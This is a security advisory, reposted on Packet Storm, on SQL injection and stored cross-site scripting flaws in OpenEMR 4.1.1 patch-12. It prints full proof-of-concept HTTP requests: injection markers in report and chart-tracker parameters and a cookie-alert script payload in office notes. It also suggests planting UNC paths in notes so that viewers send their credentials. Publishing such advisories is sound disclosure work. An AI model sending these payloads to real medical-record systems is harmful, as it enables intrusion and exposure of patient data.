what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OpenEMR 4.1.1 patch-12 Cross Site Scripting / SQL Injection

OpenEMR 4.1.1 patch-12 Cross Site Scripting / SQL Injection
Posted Jul 14, 2013
Authored by Nate Drier | Site trustwave.com

OpenEMR versions 4.1.1 patch-12 and below suffer from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
advisories | CVE-2013-4619, CVE-2013-4620
SHA-256 | 34d2a68eac35ef40f833eadd836730cb6db7a18c16f6872866a69898d3908187

OpenEMR 4.1.1 patch-12 Cross Site Scripting / SQL Injection

Change Mirror Download
Trustwave SpiderLabs Security Advisory TWSL2013-018:
Multiple Vulnerabilities in OpenEMR

Published: 07/12/13
Version: 1.0

Vendor: OEMR (www.open-emr.org)
Product: OpenEMR
Version affected: 4.1.1 patch-12 and prior

Product description:
OpenEMR is an ONC-ATB Ambulatory EHR 2011-2012 certified electronic health records and medical practice management application. It features fully integrated electronic health, records, practice management, scheduling, electronic billing.

Finding 1: SQL Injection
*****Credit: Nate Drier of Trustwave SpiderLabs
CVE: CVE-2013-4619
CWE: CWE-89

Several locations in the authenticated portion of OpenEMR do not properly sanitize input. As any user (from Administrator to Front Desk), SQL statements can be injected into the application in the following locations:

1. Reports > Visits > SuperBill > Dates ('start' and 'end' parameters are vulnerable with a POST to
/openemr-4.1.1/interface/reports/custom_report_range.php)

#Request

POST http://a.b.c.d/openemr-4.1.1/interface/reports/custom_report_range.php HTTP/1.1
Host: a.b.c.d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Proxy-Connection: keep-alive
Referer: http://a.b.c.d/openemr-4.1.1/interface/reports/custom_report_range.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

form_refresh=true&start=2013-01-07&end=2013-02-06'INJECT

#Response

<snip>
<p><p><font color='red'>ERROR:</font> query failed: select * from forms where form_name = 'New Patient Encounter' and date between '2013-01-07' and '2013-02'-06' order by date DESC<p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' order by date DESC' at line 1</font><p> <snip>

2. Misc > Chart Tracker ('form_newid' parameter is vulnerable with a POST to /openemr-4.1.1/custom/chart_tracker.php)


#Request

POST http://a.b.c.d/openemr-4.1.1/custom/chart_tracker.php HTTP/1.1
Host: a.b.c.d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Proxy-Connection: keep-alive
Referer: http://a.b.c.d/openemr-4.1.1/custom/chart_tracker.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

form_newid=test'INJECT&form_lookup=Look+Up

#Response

<snip>
<p><p><font color='red'>ERROR:</font> query failed: SELECT pd.pid, pd.pubpid, pd.fname, pd.mname, pd.lname, pd.ss, pd.DOB, ct.ct_userid, ct.ct_location, ct.ct_when FROM patient_data AS pd LEFT OUTER JOIN chart_tracker AS ct ON ct.ct_pid = pd.pid WHERE pd.pubpid = 'test'INJECT' ORDER BY pd.pid ASC, ct.ct_when DESC LIMIT 1<p> <snip>

Finding 2: HTML / Script Injection (Persistant XSS)
*****Credit: Nate Drier of Trustwave SpiderLabs
CVE: CVE-2013-4620
CWE: CWE-79

The 'Office Notes' section of OpenEMR allows users of the application to submit notes for other users. This input is not sanitized, and HTML can be injected into the notes application and saved. Basic XSS works (alerts, document.cookie, etc). Useful in a pentest, UNC paths can also be saved as a note, and any user viewing the notes will attempt to authenticate to the UNC share location.

1. Misc > Office Notes ('note' parameter is vulnerable with a POST to /openemr-4.1.1/interface/main/onotes/office_comments_full.php)

#Request:

POST http://a.b.c.d/openemr-4.1.1/interface/main/onotes/office_comments_full.php HTTP/1.1
Host: a.b.c.d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Proxy-Connection: keep-alive
Referer: http://a.b.c.d/openemr-4.1.1/interface/main/onotes/office_comments_full.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

mode=new&offset=0&active=all&note=<script>alert(document.cookie)</script>

#Response:

<snip>
<tr><td><input type=hidden value='' name='act115' id='act115'><input name='box115' id='box115' onClick='javascript:document.update_activity.act115.value=this.checked' type=checkbox checked></td><td><label for='box115' class='bold'>Wed February 06th</label> <label for='box115' class='bold'>(test)</label></td><td><label for='box115' class='text'><script>alert(document.cookie)</script>&nbsp;</label></td></tr>
<snip>

Remediation Steps:
The vendor has released the 4.1.1 patch to addresses these vulnerabilities. All versions need to be upgraded to version 4.1.1 in order to apply the patch.

Revision History:
06/03/13 - Vulnerability disclosed
06/14/13 - Patch released by vendor
07/12/13 - Advisory published

References
1. http://www.open-emr.org/wiki/index.php/OpenEMR_Patches

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

________________________________

This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close